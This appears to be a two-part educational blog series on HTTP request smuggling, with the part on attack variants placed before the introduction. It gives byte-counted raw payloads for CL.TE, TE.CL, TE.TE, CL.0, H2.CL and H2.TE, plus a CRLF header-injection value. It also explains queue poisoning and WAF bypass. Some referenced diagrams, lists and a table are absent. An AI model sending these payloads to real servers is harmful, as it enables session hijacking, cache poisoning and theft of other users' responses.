Two rules to keep in mind before we start. In chunked encoding, every chunk-size line is written in hexadecimal, and it must match the exact byte length of the chunk data that follows. Likewise, any Content-Length the attacker sets must equal the exact number of body bytes actually sent — otherwise the frontend hangs waiting for bytes that never arrive. The examples below are byte-accurate so you can verify them yourself. Line endings are shown as \r\n for clarity.

Note: In this post, we won't cover the 0.CL variant, but keep in mind that, although it may seem paradoxical, this type does exist and will have its own dedicated post on our blog.

Header disagreement: CL.TE

The frontend and the backend disagree on where the first request's body ends (CL vs. TE), so attacker-controlled bytes are left over and parsed as the start of the next user's request on a shared connection.

Crafting the CL.TE payload

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
X-Ignore: x

Byte count:

0\r\n                       →  3
\r\n                        →  2
GET /otherPage HTTP/1.1\r\n → 25
X-Ignore: x                → 11
= 41 bytes

Smuggling the hidden request

• Client #1: the attacker crafts a raw request carrying both Transfer-Encoding: chunked and Content-Length: 41. The body hides a terminating chunk (0\r\n\r\n) followed by a second, smuggled request (GET /otherPage…).

• Frontend (HTTP/1.1, CL): it trusts Content-Length and forwards exactly 41 bytes as one opaque body, unaware those bytes contain a chunked structure and a smuggled request.

• Backend: it receives the full request, including the Transfer-Encoding header. It prioritizes Transfer-Encoding, parses the body as chunks, and stops at the terminating 0\r\n\r\n, leaving the smuggled bytes unconsumed in its buffer.

• Response to Client #1: the backend answers the first (legitimate) request normally; the response travels back through the frontend to the attacker.

• Residual buffer: the leftover smuggled request is incomplete — its header block is never closed by a blank line — so the backend treats it as a still-open request and waits on the same reused connection for more bytes.

Next request hijacked

• Client #2: a second user sends a normal request, which the frontend will forward over that same pooled backend connection.

• Frontend: it forwards Client #2's legitimate request to the backend as usual.

• Backend: Client #2's request line is appended to the dangling header from the smuggled request instead of being parsed as a new request, so the backend finishes and processes the attacker's smuggled request — stealing the second user's turn.

• Response to Client #2: the backend's response (meant for /otherPage) is delivered by the frontend to the second user instead of their real response, enabling cache poisoning, session hijacking, and so on.

Header disagreement: TE.CL

The reverse case: the frontend honors Transfer-Encoding and validates the chunks, but the backend ignores TE and relies on Content-Length.

Crafting the TE.CL payload

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
35\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x\r\n
0\r\n
\r\n

Byte count:

GET /otherPage HTTP/1.1\r\n → 25
Content-Length: 20\r\n      → 20
\r\n                        →  2
test=x                     →  6
= 53 bytes = 0x35

And Content-Length: 4 matches the four bytes of the chunk-size line itself (3, 5, \r, \n).

Smuggling the hidden request

Client #1: the attacker crafts a request carrying both Transfer-Encoding: chunked and Content-Length: 4. Inside the chunked body, they hide a second request (GET /otherPage...).

Frontend (HTTP/1.1, TE): it honors Transfer-Encoding and parses the body as a chunked message. The chunk size (35) tells it that 53 bytes of chunk data follow, so it treats everything up to the terminating 0\r\n\r\n as part of a single request body and forwards it to the backend.

Backend (HTTP/1.1, CL): it ignores Transfer-Encoding and instead relies on Content-Length: 4. After reading four body bytes (35\r\n), it considers the request complete and generates a response.

Response to Client #1: the backend's response to the first request is returned through the frontend to the attacker as expected.

Residual buffer: The leftover smuggled request is itself incomplete. It declares Content-Length: 20 but provides only test=x (6 bytes) in its body. When the backend eventually parses that request, it still expects 14 additional body bytes and therefore keeps reading from the connection.

Next request hijacked

Client #2: a second user sends a normal request, which the frontend forwards over the same pooled backend connection.

Frontend: it forwards Client #2's request normally, unaware that unread bytes are already sitting in the backend's receive buffer.

Backend: parsing resumes from the leftover bytes first. The buffered GET /otherPage request is processed before Client #2's request, causing the attacker's smuggled request to steal the next position in the request queue.

Response to Client #2: the frontend receives responses in an order it does not expect. Depending on how the desynchronization unfolds, the victim may receive a response intended for the smuggled request, enabling cache poisoning, session confusion, and other downstream attacks.

The CL.TE and TE.CL variants establish the core desynchronization mechanics. With that foundation in place, the remaining variants can be understood as different ways of creating the same leftover-byte condition.

Parsing disagreement: TE.TE

Unlike CL.TE and TE.CL, the disagreement is not caused by the presence of two competing framing headers. Both servers receive the same Transfer-Encoding header; the desynchronization appears because they parse that header differently.

The trick is to obfuscate the Transfer-Encoding header so that exactly one of the two servers fails to recognize it and silently falls back to Content-Length. Once only one side is still doing chunked parsing, you are back in familiar territory:

• Frontend honors TE, backend falls back to CL → a TE.CL desync.

• Frontend falls back to CL, backend honors TE → a CL.TE desync.

Which side you fool (and therefore which desync you get) is target-specific and has to be found by testing. Per RFC 9112 §6.3, a message that carries both Content-Length and Transfer-Encoding ought to be handled as an error; an intermediary that chooses to forward it MUST first strip the Content-Length and process the Transfer-Encoding. But real deployments disagree on how they parse a malformed TE header, and that disagreement is exactly what TE.TE weaponizes.

Common obfuscations. Each of these keeps the header valid for a lenient parser while tripping a stricter one (or vice versa):

Suppose we test the duplicate-header technique. We find that the frontend uses the first Transfer-Encoding header (chunked), while the backend uses the second (cow). The frontend therefore treats the request as chunked, but the backend rejects the unknown transfer coding and falls back to Content-Length. That produces a TE.CL desynchronization:

Crafting the TE.TE (→ TE.CL) payload

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: cow\r\n
\r\n
35\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x\r\n
0\r\n
\r\n

Byte check. The obfuscation lives entirely in the header block, so the body math is identical to the TE.CL section.

Smuggling the hidden request

In this example, the duplicate Transfer-Encoding headers act as the obfuscation primitive. The frontend resolves the ambiguity by using the first value (chunked) and therefore treats the request as chunked. The backend resolves the duplicate headers differently, uses the second value (cow), rejects it as an unknown transfer coding, and falls back to Content-Length.

Once that disagreement has been established, the situation effectively degenerates into a TE.CL desynchronization: the frontend consumes the request as chunked, while the backend determines message boundaries using Content-Length. The subsequent buffering and request-splicing behavior is therefore identical to the TE.CL variant discussed earlier.

Next request hijacked

Parsing disagreement: CL.0

CL.0 is not a protocol-level ambiguity. It relies on implementation-specific behavior where the backend incorrectly assumes a request has no body and therefore ignores the Content-Length header.

Here, the frontend honors Content-Length and forwards the request body normally, but the backend incorrectly treats the request as having a zero-length body. This can occur when:

• request bodies are ignored for certain HTTP methods;

• a static-file handler never attempts to read a request body;

• application logic assumes a particular endpoint cannot receive one.

As a result, the backend stops processing immediately after the headers and leaves the body unread in the connection buffer. Those unread bytes become the same kind of leftover tail described in Part 1: attacker-controlled data stranded on a reused backend connection.

Crafting the CL.0 payload

POST /static.js HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 53\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x

Byte count:

GET /otherPage HTTP/1.1\r\n → 25
Content-Length: 20\r\n      → 20
\r\n                        →  2
test=x                     →  6
= 53 bytes

Smuggling the hidden request

In this example, the frontend honors Content-Length: 53 and forwards the entire 53-byte body. The backend, however, treats the request as bodyless, considers it complete immediately after the headers, and returns a response without consuming the body. The unread bytes are left queued on the persistent backend connection, where they become the beginning of the next request and are parsed as the smuggled GET /otherPage request.

Next request hijacked

Downgrade issue: H2.CL

From here on, the frontend speaks HTTP/2 and downgrades to HTTP/1.1 to reach the backend. This matters because, in HTTP/2, a message's length is defined by its framing (the payload of the DATA frames), not by a header. Content-Length in HTTP/2 is only a consistency check: if it disagrees with the actual DATA-frame length, the message is malformed, and a conformant endpoint MUST treat it as a stream error (PROTOCOL_ERROR) rather than process it (RFC 9113 §8.1.1). H2.CL occurs when a frontend accepts an HTTP/2 request whose Content-Length does not match the actual DATA-frame payload, then copies that incorrect value into the downgraded HTTP/1.1 request instead of rejecting or correcting it.

This is downgrade-related misbehavior: a compliant HTTP/2 frontend would reject the request as malformed instead of forwarding it.

Crafting the H2.CL payload

POST / HTTP/2\r\n
Host: example.com\r\n
Content-Length: 5\r\n
\r\n
x=1\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x

Byte check. This is a single HTTP/2 request. The smuggled request is not a separate message — it is placed inside the body (the DATA frames) of this one request. The frontend sees only one stream; the split into two requests happens on the backend after the downgrade. (x=1\r\n = 5 bytes, matching Content-Length.)

The POST / HTTP/2 request line and the \r\n-delimited headers above are only a human-readable representation. On the wire, HTTP/2 is binary-framed and uses pseudo-headers (:method, :path, :authority) with no request-line and no CRLFs — the framing is what defines message length here.

Smuggling the hidden request

The desync is introduced during protocol translation. The frontend receives a framed HTTP/2 request, but the backend ultimately processes a downgraded HTTP/1.1 byte stream.

In this example, the frontend converts the HTTP/2 request into HTTP/1.1 while preserving the attacker-supplied Content-Length: 5. The backend trusts that length and consumes only the first five bytes of the body, treating the request as complete. The remaining bytes are left queued on the persistent backend connection, where they become the start of a new request and are parsed as the smuggled GET /otherPage request.

Next request hijacked

Downgrade issue: H2.TE

The same downgrade setup, but the backend honors Transfer-Encoding. The key detail is that Transfer-Encoding is prohibited in HTTP/2: it is a connection-specific header that must not appear in an HTTP/2 message (RFC 9113 §8.2.2; the only related token allowed is TE: trailers). H2.TE exists precisely because the frontend fails to strip or reject this illegal header before downgrading, and the HTTP/1.1 backend then obeys it.

Crafting the H2.TE payload

POST / HTTP/2\r\n
Host: example.com\r\n
transfer-encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x

Byte check. As in H2.CL, this is one HTTP/2 request: the smuggled request lives inside its DATA frames. The split occurs only after the downgrade to HTTP/1.1.

Smuggling the hidden request

The key distinction in this variant is that the desynchronization stems from an HTTP/2-to-HTTP/1.1 downgrade that incorrectly preserves a header forbidden by HTTP/2. A compliant frontend should reject or remove Transfer-Encoding, but the vulnerable frontend forwards it to the backend during translation.

In this example, the backend receives Transfer-Encoding: chunked and therefore determines request boundaries using chunked encoding. By placing a terminating chunk (0\r\n\r\n) at the start of the body, the attacker controls where the backend believes the request ends. Any remaining bytes stay queued on the persistent backend connection, where they become the beginning of a new request and are parsed as the smuggled GET /otherPage request.

Next request hijacked

H2.TE — CRLF injection variant

The H2.TE variant we've covered works when Transfer-Encoding survives the downgrade intact. But a more subtle form exists when the frontend attempts to strip Transfer-Encoding entirely.

HTTP/2 header values are length-prefixed byte sequences—they can contain any octet, including literal CR (0x0D) and LF (0x0A) characters. When a lenient downgrade concatenates an HTTP/2 header name and value without validating or escaping control characters, those CR/LF bytes become line delimiters in the HTTP/1.1 output.

An attacker can embed a new header inside a header value:

HTTP/2 request (single header):

foo: bar\r\ntransfer-encoding: chunked

The frontend sees only a harmless foo header. The backend, after downgrade, sees both foo and transfer-encoding: chunked—the latter appearing from nowhere. The backend then processes the body using chunked framing, triggering the same CL.TE-style desynchronization.

This variant bypasses a frontend that explicitly strips Transfer-Encoding headers before downgrading. The injection happens during the downgrade when control characters in header values aren't escaped.

Summary: the six types of request smuggling

To wrap up, here is a visual summary of the different request smuggling techniques covered in this article. Each diagram illustrates the full workflow for each type.

CL.TE

TE.CL

TE.TE ( →TE.CL)

CL.0

H2.CL

H2.TE

We've seen that HTTP Request Smuggling is a family of desync attacks built on one shared flaw: a frontend and backend reusing a connection while disagreeing on where a request ends. That disagreement takes three forms — header disagreement (CL.TE, TE.CL), parsing disagreement (TE.TE, CL.0), and downgrade issues (H2.CL, H2.TE) — but the payoff is always the same: one user's request gets stitched onto an attacker's leftover bytes.

In the next post, we'll take a closer look at how to spot request smuggling vulnerabilities.

HTTP Request Smuggling is one of the most fascinating web vulnerabilities because it exploits disagreements between web servers rather than flaws in application code.

Modern applications are usually deployed behind reverse proxies, load balancers, CDNs, and WAFs, but these components do not always interpret HTTP requests the same way. By exploiting these parsing inconsistencies, an attacker can "smuggle" a hidden request through the frontend server, causing the backend server to process unexpected data.

This article explains how HTTP Request Smuggling works, why it happens, and how a request comes to be smuggled.

Why does Request Smuggling exist?

Before a user sees a response, their request typically passes through two distinct entities:

• The frontend server (NGINX, HAProxy, Cloudflare, Varnish, etc.) is the entry point. It receives requests and may perform routing, caching, rate limiting, WAF inspection, authentication checks, or other processing before forwarding traffic onward.

• The backend server (Node.js, Django, Tomcat, Flask) is where the real work happens: business logic, database calls, and generation of the final response.

For this pipeline to work safely, both servers must agree on exactly where one HTTP request ends and the next begins. Unfortunately, HTTP offers more than one way to express that boundary — and that's the root of the problem.

How do HTTP/1.1 and HTTP/2 determine the size of a request body?

HTTP/1.1: the size is declared in the headers

In HTTP/1.1, request bodies are framed using either Content-Length or Transfer-Encoding: chunked.

Content-Length specifies a fixed number of bytes that make up the body:

Content-Length: 10\r\n
\r\n
0123456789

Transfer-Encoding: chunked sends the body as a series of size-prefixed fragments, ending in a zero-length chunk:

Transfer-Encoding: chunked\r\n
\r\n
7\r\n
1234567\r\n
0\r\n
\r\n

RFC 9112 §6.3 ("Message Body Length") is explicit here: if a message arrives with both headers, Transfer-Encoding takes precedence, and the combination should be treated as a possible smuggling or response-splitting attempt. An intermediary that still chooses to forward such a message must strip Content-Length first and frame the body using Transfer-Encoding alone.

In practice, this rule isn't followed consistently. Proxies, load balancers, and backend frameworks vary: some prioritize Content-Length, some prioritize Transfer-Encoding, and some behave differently depending on version or configuration. It's precisely this inconsistency between implementations — not a flaw in the spec — that opens the door to Request Smuggling.

HTTP/2: no length header, just frames

HTTP/2 removes this ambiguity by design. The connection is binary and framed: every frame carries its own explicit length field, so the receiver always knows exactly how many bytes belong to that frame — no guessing. A stream's body ends when a DATA frame arrives with the END_STREAM flag set, not because a counted byte value happened to match.

The classic CL.TE / TE.CL ambiguity simply doesn't exist inside a pure, end-to-end HTTP/2 connection, because message boundaries are defined by frames rather than by competing headers. Most HTTP/2-related smuggling instead arises during translation between HTTP/2 and HTTP/1.1.

This translation is extremely common in real deployments: the frontend terminates the client's HTTP/2 connection, then downgrades to HTTP/1.1 to talk to a backend that doesn't speak HTTP/2 natively. That means HTTP/2's binary framing only protects the client ↔ frontend leg. The moment the frontend rewrites the request into HTTP/1.1 syntax to forward it, all of HTTP/1.1's classic length ambiguity comes back — just relocated to the frontend-to-backend hop instead of the client-to-frontend one.

Note: Downgrading from HTTP/2 to HTTP/1.1 does not automatically create a vulnerability. Desynchronization arises only when the translation process or request parsing logic causes the frontend and backend to disagree on request boundaries.

Where do the leftover bytes go?

Once a desynchronization occurs, the outcome depends on how the smuggled request is framed.

If the smuggled request is complete and self-contained, the backend has no reason to wait. It parses the smuggled request as a genuine second request and generates a second response. That extra response is what pushes the connection out of alignment, creating the response queue poisoning path discussed later.

If the smuggled request is incomplete — missing its final \r\n\r\n, or declaring more body bytes than it actually sends — the backend parser stalls mid-read, still waiting for data the attacker never provided. When the next request arrives on the same connection, the backend treats it as the missing data and merges the two requests together. This is the request queue poisoning path, and it's the one we'll focus on first.

Both outcomes begin the same way: attacker-controlled bytes are left stranded on a reused connection. The difference is what remains unresolved. In the complete case, the backend generates an extra response that has nowhere to go. In the incomplete case, the backend waits for more request data and eventually consumes part of the next user's request.

That raises an obvious question: once those leftover bytes exist, where do they physically sit?

On that reused connection, the leftover bytes may reside in one of two places — or be split across both.

The first is the kernel socket receive buffer — the TCP receive queue for that file descriptor (fd). The frontend has already written those bytes onto the wire, so the kernel holds them as unread payload, visible as recv-q on the socket.

The second is the backend's userspace parser buffer. If the backend's recv() pulled in more bytes than it needed to finish the current request, the surplus sits in the application's own read buffer while the parser pauses, waiting for the rest of what it still believes is an unfinished request.

Which buffer holds the tail depends on how greedily the backend reads, but the point is the same either way: this is per-connection state, not a global queue. The bytes are pinned to that one TCP connection and stay there until the next read() on that same socket — precisely when the next legitimate request arrives and gets appended right behind them.

That is why keep-alive and connection reuse are mandatory: close the connection after the first request and the buffered tail is simply discarded, with no follow-up request for it to attach to.

And for that tail to capture the victim rather than just sit there, the smuggled request has to leave the parser expecting more of the same kind of data the victim will supply — more header text, or more body bytes. Which of the two it waits for is exactly what separates the two techniques we turn to next.

Request Queue Poisoning: Swallowing the next user's request

Request Queue Poisoning Mechanism

There are two common ways to leave the parser expecting more data. Both work by convincing the backend that the smuggled request isn't finished, so it keeps reading from the shared connection — and what it reads next is the victim's request.

Content-Length mismatch

The smuggled request declares a Content-Length larger than the body it actually sends. The parser enters "read N bytes of body" mode and keeps pulling bytes until it reaches that count — swallowing the next client's request as if it were body content.

Smuggled request, waiting to be completed:

POST /otherPage HTTP/1.1\r\n
Content-Length: 41\r\n
\r\n
test=x

The same request once the next client's traffic arrives on the connection:

POST /otherPage HTTP/1.1\r\n
Content-Length: 41\r\n
\r\n
test=xGET / HTTP/1.1\r\n
Host: example.com\r\n

The declared length is deliberately larger than the body actually sent (test=x). That gap is the mechanism: the parser keeps reading until it hits the declared byte count, and the surplus gets filled by the next request's bytes. In practice the length is tuned precisely to capture the portion of the victim's request the attacker wants. A POST is generally more reliable than a GET for the smuggled request, because some implementations ignore or discard GET request bodies entirely.

Dangling header (X-Ignore)

The smuggled request is cut off mid-header, missing the final \r\n\r\n that normally closes the header section. The parser believes it's still reading a header value, so the next client's request line gets absorbed as part of it instead of being parsed as a new request.

Smuggled request, waiting to be completed:

GET /otherPage HTTP/1.1\r\n
X-Ignore: x

Once the next request arrives:

GET /otherPage HTTP/1.1\r\n
X-Ignore: xGET / HTTP/1.1\r\n
Host: example.com\r\n

Why connection reuse is required

Persistent, reused connections mean multiple clients' requests travel over the same TCP stream, and request boundaries are just parsing rules — CRLF-terminated headers, or byte-counted bodies — that can be manipulated independently. Leaving either the header or the body "open" achieves the same result.

Once the victim's request is swallowed, the backend treats attacker headers + victim data as a single logical request and produces a single response for it.

Response Queue Poisoning: how to steal another user's response

Response Queue Poisoning Mechanism

Request Smuggling doesn't only desynchronize the request queue. Once the frontend and backend disagree on how many requests share a connection, they also disagree on which response belongs to which request. This is Response Queue Poisoning (RQP), also known as response desynchronization.

RQP is the mirror image of swallowing. There, the smuggled request was left incomplete so it would absorb the victim's request — two requests on the wire collapse into one at the backend, producing a single response. Here, the smuggled request is complete and self-contained, so the backend parses it as a genuine second request and emits a second response. Swallowing removes a response from the queue; RQP adds a surplus one — and that surplus is what pushes the queue out of alignment.

How it happens

Start from a backend connection that's already desynchronized. The attacker sends what the frontend counts as a single request, but the backend parses as two:

Request 1
└── Smuggled Request (self-contained)

The frontend expects one response. The backend produces two:

Response 1   ← returned to the attacker, as expected
Response 2   ← left queued on the connection, orphaned

The frontend forwards Response 1 and considers the exchange complete. Response 2 has no request waiting for it — from this point on, every response delivered over that connection is one position ahead of the request the frontend thinks it belongs to.

The shifted queue

When the next client sends a request, the frontend pairs it with whatever comes next off the connection — the orphaned response, not its own:

The frontend can't detect the mismatch; it simply forwards responses in arrival order, and the offset persists until the connection resets.

The critical row is the second one: the attacker's own request returns the victim's response — potentially authenticated content from a session that should never have left the victim's account.

Impact

Depending on what the smuggled request targets, RQP can lead to:

• Disclosure of another user's data and authenticated content

• Session confusion

• Delivery of attacker-controlled content to arbitrary users

• Cache poisoning

• Account takeover, where responses expose sensitive tokens or session state

The exact outcome depends on the frontend's connection-management strategy: some frontends detect the unexpected response, some close the connection immediately, and some recycle it and let the desync propagate.

Why connection reuse is required

Like request queue poisoning, RQP depends on persistent backend connections. The orphaned response is bound to one specific connection, so the attack only works if later requests keep landing on that same connection. Without reuse, the backend closes the connection after the first request, the extra response is discarded, and the desync never propagates.

Bypassing frontend and WAF protections

As Request Smuggling became better understood, frontends and WAFs added defenses: rejecting requests carrying both Content-Length and Transfer-Encoding, normalizing headers, and blocking malformed requests.

But these protections are themselves implemented by HTTP parsers, and a WAF can only enforce rules based on how it interprets a request. If the backend reads the same bytes differently, the two can still desynchronize. A header that looks harmless to one parser may mean something else to another; a request the frontend considers complete may look incomplete to the backend.

Security devices aren't immune to the parser disagreements that make Request Smuggling possible — they're just another component that can be confused. The specific bypass techniques vary by implementation and protocol, but the underlying principle holds: wherever two HTTP components disagree about how to interpret a request, desynchronization becomes possible.

Summary

Everything in Request Smuggling ultimately comes down to one fact: HTTP is a stream protocol layered on top of TCP. The frontend and backend do not exchange "requests"; they exchange bytes. A request only exists once a parser decides where it begins and ends. Whenever two components draw those boundaries differently, desynchronization becomes possible.

Now that we've covered why servers can disagree on request boundaries, Part 2 will break down the classic classification of attacks — CL.TE, TE.CL, TE.TE, CL.0, and the HTTP/2 variants — and show how each one exploits a different trust mismatch between frontend and backend.